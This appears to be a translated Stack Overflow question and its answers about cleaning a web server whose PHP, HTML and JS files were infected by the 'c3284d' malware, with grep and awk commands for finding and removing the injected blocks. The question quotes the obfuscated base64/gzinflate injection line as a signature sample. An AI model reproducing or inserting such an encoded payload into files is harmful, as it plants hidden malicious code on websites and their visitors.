【问题标题】:Clean server infected with c3284d virus, using search and replace清理感染 c3284d 病毒的服务器,使用搜索和替换
【发布时间】:2012-07-14 12:00:02
【问题描述】:

我遇到了 Notorious c3284d 病毒的问题。它修改了几乎所有可以找到的 html/php/js 文件。

我已经更改了服务器上的所有密码和用户,所以如果它是一个被盗用的帐户,它应该已经解决了这个问题,但我仍然在努力彻底删除它。

我能够使用一个简单的sudo grep -R "#c3284d#" /home 命令找到所有受感染的文件。

但我需要一种快速的方法来搜索并替换它。

病毒签名是这一行:

"#c3284d#" 回波(gzinflate(BASE64_DECODE( “VVHBboMwDL1X6j / kZtA6GKgMdaOVummHnfYB6xQFYkokmqSJS + nfD1hXbb7ZfvZ7fi585ZSlzXzWCcf4ka2ZNNXpgJqiyqEgfGtxzAJQtRMHhHAxn7EhuB6w4JG2RE6VJ0J4ns / 48ZPrrwC8q2DBoCGyT3HcoHBkamtajDRS3B / ayDYWwmki8nQZGtZ4RcpMa0XpTXtbeQWclaRm7CaPtv9LNgkrjZPoBlItOrUXZFx08ui2 + / EUpSX2H3UA8kHkIlmmZZ5lSZ5Kkad1nS9FIqo0S1YrCNkdS / 7parGmkfU + y1b5D / HNorNThAEUUnVMyfUOOJdOyG4HmyIeipvpxBt8j3S18 + XyLoNfNISRsBa1fG1UKwN + HIeK + Pqabw ==”))); "#/c3284d#"

当回声线可以改变和变化,但它总是以#c32..#开始并以#/c3....#结束。

我只想用什么来代替它。

【问题讨论】:

  • 永远不要那样做!从头开始重新安装。如果你有适当的版本控制和备份,你显然会使用它们。确保下次发生这种情况时这样做。
  • @triplee 为什么从不这样做?病毒/男性具有静态签名,我说的是 1000 个文件。版本控制对于非开发网站(例如具有 100 和 1000 个静态文件的博客/论坛)并不常见
  • 从头开始重新安装的原因是,一旦有人闯入您的服务器,就很难确定您修复了他们对它所做的一切。 “#c3284d#”修改是您发现的唯一内容,但这并不意味着它们是唯一完成的内容。
  • 删除你知道的坏东西不会修复你不知道的坏东西。这是黑客和恶意软件植入多个后门的标准 MO,因此即使您注意到它们并尝试恢复其更改,他们也可以重新进入。

标签: linux bash ubuntu terminal


【解决方案1】:

查找所有受影响文件的简单方法:

grep -H -r "c3284d" /home/user

此恶意软件代码来自受感染的客户端,该客户端具有以明文形式存储的 FTP 密码。该恶意软件能够抓取 FTP 登录信息,然后自动开始将广告代码注入文件。绝对应该是一个完整的审计——但如果你很幸运并且及时发现了它,它很可能不是来自服务器本身。

【讨论】:

    【解决方案2】:
    awk 'BEGIN { clean=1 } /#c3284d#/ { clean=0 } /#\/c3284d#/ { clean=1 } { if (clean==1 && match($0,"#\/c3284d#") == 0) { print $0 } }' dirty-file > clean-file
    

    这很拗口,但确实有效:

    $ cat <<'EOF' | awk 'BEGIN { clean=1 } /#c3284d#/ { clean=0 } /#\/c3284d#/ { clean=1 } { if (clean==1 && match($0,"#\/c3284d#") == 0) { print $0 } }'
    > foo
    > #c3284d#
    > bar
    > baz
    > #/c3284d#
    > quux
    > EOF
    foo
    quux
    

    【讨论】:

    • 它会删除之间的线还是只删除签名?
    • 假设签名的开头和结尾一起出现在同一行(您并不清楚这一点),它将删除标记以及其间的所有内容。
    • 它不在同一行.. 看起来像堆栈中的样式问题.. 它实际上是第一行的#32..#.. 然后是第二行的回声.. 和 #/32 ...第三次
    • @phs:你是如何使用命令的?我得到awk: cannot open dirty-file (No such file or directory)。那么如何对所有找到的文件进行递归处理(通过覆盖现有文件)?
    • @testing 考虑使用管道到循环的find。我怀疑awk 会在原地进行编辑,但您可以将新文件通过管道传送到/tmp 中的某个位置,然后将其移回原始文件。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2018-07-01
    • 2010-09-14
    • 1970-01-01
    • 2015-04-06
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多